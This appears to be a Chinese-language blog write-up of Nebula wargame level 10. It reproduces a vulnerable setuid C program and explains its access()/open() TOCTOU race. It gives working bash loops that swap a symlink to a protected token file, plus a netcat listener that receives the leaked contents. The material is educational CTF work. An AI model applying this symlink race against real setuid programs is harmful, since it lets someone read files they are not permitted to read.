Nebula Writesup Level 10

About
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
    char *file;
    char *host;

    if(argc < 3) {
        printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
        exit(1);
    }

    file = argv[1];
    host = argv[2];

    if(access(argv[1], R_OK) == 0) {
        int fd;
        int ffd;
        int rc;
        struct sockaddr_in sin;
        char buffer[4096];

        printf("Connecting to %s:18211 .. ", host); fflush(stdout);

        fd = socket(AF_INET, SOCK_STREAM, 0);

        memset(&sin, 0, sizeof(struct sockaddr_in));
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(host);
        sin.sin_port = htons(18211);

        if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
            printf("Unable to connect to host %s\n", host);
            exit(EXIT_FAILURE);
        }

#define HITHERE ".oO Oo.\n"
        if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
            printf("Unable to write banner to host %s\n", host);
            exit(EXIT_FAILURE);
        }
#undef HITHERE

        printf("Connected!\nSending file .. "); fflush(stdout);

        ffd = open(file, O_RDONLY);
        if(ffd == -1) {
            printf("Damn. Unable to open file\n");
            exit(EXIT_FAILURE);
        }

        rc = read(ffd, buffer, sizeof(buffer));
        if(rc == -1) {
            printf("Unable to read from file: %s\n", strerror(errno));
            exit(EXIT_FAILURE);
        }

        write(fd, buffer, rc);

        printf("wrote file!\n");

    } else {
        printf("You don't have access to %s\n", file);
    }
}

程序意思是:

  1. 判断输入的arg[1]文件是否有读权限,没有的话打印"You don't have access to ..."
  2. 如果有权限的话,连接host的18211端口,发送"banner",之后传送arg[1]的文件

需要查看的文件在/home/flag10下以不可读的方式存放。
看完代码逻辑,完全没思路,于是看答案

这关是一个很经典的文件访问竞态条件漏洞。文件访问竞态条件漏洞,也可称作为“TOCTOU漏洞“——time of check,time of use。这种类型的漏洞描述了这样一个问题:
 
当在使用一个文件之前,先判断当前用户是否具有对该文件操作的权限,如果有,才可以继续。
 
代码中,首先用access函数判断当前用户是否有操作文件的权限(access函数用的是进程的uid来作为判断),如果当前用户没有针对该文件的权限,则打印ERROR;有则open它。在早期的单处理操作系统中,这样的代码可能是严谨的,出发点也是好的——因为单处理的话,进程执行完毕后才发生切换。但是在多任务的操作系统中有这样一个问题:在用access检查文件后,这个程序可能受到其他程序的干扰或者发生进程切换,在进程发生切换之后,进程失去了执行流程,并且在它还未再次获得执行时,它欲操作的文件发生改变——邪恶源头是因为access和open都是通过文件路径字符串作为参数的,这个路径可能是一个链接文件。在Linux中,假设要access一个/tmp/lx文件,在access后、open之前,/tmp/lx被替换成了一个链接文件,指向了其他文件(如/etc/passwd),如果这个进程有对/etc/passwd操作的权限,它最终所操作的并不是真正的/tmp/lx,而是/etc/passwd。

所以思路是,通过access()打开一个有权限的文件(比如/tmp目录下的文件),同时利用access和open的并行性,在另一个进程中打开原本不可读的文件。


先打开18211端口

nc -k -l 127.0.0.1 18211

再在tty2 (ctrl + alt + F2) 建立一个文件,作为稻草人

touch /tmp/token

接着建立竞争,让软链接的链接同时指向有读写权限的/tmp/token和目标文件/home/flag10/token

#! /bin/bash

while true
do
    ln -fs /tmp/token /tmp/token10
    ln -fs /home/flag10/token /tmp/token10
done

再在tty3下,建立读取程序

#! /bin/bash

while true
do
    nice -n 19 /home/flag10/flag10 /tmp/token10 127.0.0.1
done

nice -n 19表示改变文件的执行优先级,范围是-20~19,数字越低,优先级越高,这里把flag10这个程序的优先级变低,这样就可以在access函数执行后、open函数执行前,有机会可以改掉/tmp/token10的指向了。
修改好脚本的执行权限后,在不同的终端分别运行脚本,就可以在tty3下看到不停打印的如下字符:

拷贝其中的字符,用flag10为用户名重新登录,即可看到成功信息。


总结:
利用函数之间的竞争关系来获取秘密真是很令人惊讶,需要对系统函数有极深的理解。路还很长啊...

Comments
Write a Comment
'